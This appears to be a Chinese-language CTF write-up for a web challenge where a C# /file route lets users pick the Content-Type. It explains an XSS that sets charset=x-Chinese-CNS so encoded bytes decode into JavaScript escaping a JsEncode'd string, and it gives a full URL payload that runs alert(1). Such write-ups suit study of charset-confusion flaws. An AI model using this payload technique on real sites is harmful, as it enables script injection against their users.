題目實現了一個字符轉換工具
在
/file
路由用戶可以通過?ct 參數自定義 Content-Type
// 文件路由 - 提供靜態文件服務(JS和CSS),支持內容類型驗證
app.MapGet("/file", (string filename = "", string? ct = null, string? q = null) =>
{// 根據文件名查找對應的模板文件string? template = FindFile(filename);if (template is null){return Results.NotFound();}// 設置默認內容類型為純文本ct ??= "text/plain";// 驗證內容類型是否安全if (!IsValidContentType(ct)){return Results.BadRequest("Invalid Content-Type");}// 替換模板中的查詢參數并返回處理后的內容string text = template.Replace("TEMPLATE_QUERY_JS", JsEncode(q));return Results.Text(text, contentType: ct);
});
當 HTTP 響應頭或 Content-Type 指定了 charset=x-Chinese-CNS,瀏覽器會用 CNS 11643 這個字符集來解碼響應體的字節流。CNS 11643 是一種多字節編碼,很多單字節(如常見的 ASCII 范圍)在 CNS 11643 下會被解碼為完全不同的字符,甚至是不可見字符或特殊符號。
簡單來說:
-
攻擊者不直接寫入?
<script>alert(1)</script>
。 -
而是計算:在目標字符集?CNS 11643?的編碼規則下,哪些字節序列會被解碼為?
<script>alert(1)</script>
?這些字符。 -
攻擊者將計算出的這些特定字節序列寫入響應體。
JavaScript 完全允許使用特殊字符(包括 Unicode 字符)作為變量名。這是 JavaScript 語言規范的一部分。(順便說一句,大部分語言都支持)
// 第一部分:終止字符串并注入代碼
asda?'???:alert // CNS 11643 解碼后變為:'asda'; alert(1); //// 字節序列:E690B3 → '; C582C582E690A5 → alert(1);//// 第二部分:創建 setTimeout 的短別名
var μ=setTimeout // μ (U+00B5) 是合法變量名// CNS 11643 中的 E6838F 解碼為 μ=// 第三部分:使用模板字符串執行 XSS
μ`alert\u0028\u0031\u0029\u002f\u002fD`
// 等價于:setTimeout('alert(1)//')
// \u0028 → ( \u0031 → 1 \u0029 → ) \u002f → /
// 模板字符串 `` 可替代函數調用括號// 第四部分:干擾性變量聲明
var tag // 無實際作用,用于增加代碼"合法性"// 第五部分:完成攻擊鏈
μ`'; // CNS 11643 中的 E68EA4 解碼為 μ` // 組合前文形成完整調用:setTimeout('alert(1)//')
/file?filename=script.js&ct=text/html;charset=x-Chinese-CNS&q=asda%E6%90%B3%C5%82%C5%82%E6%90%A5alert%0avar%20%E6%83%8FsetTimeout%0a%E6%8E%A4alert(1)//%E6%92%9F%0avar%20tag%0a%E6%8E%A4
此有效負載經過下面這段代碼將截斷原有代碼
// 替換模板中的查詢參數并返回處理后的內容string text = template.Replace("TEMPLATE_QUERY_JS", JsEncode(q));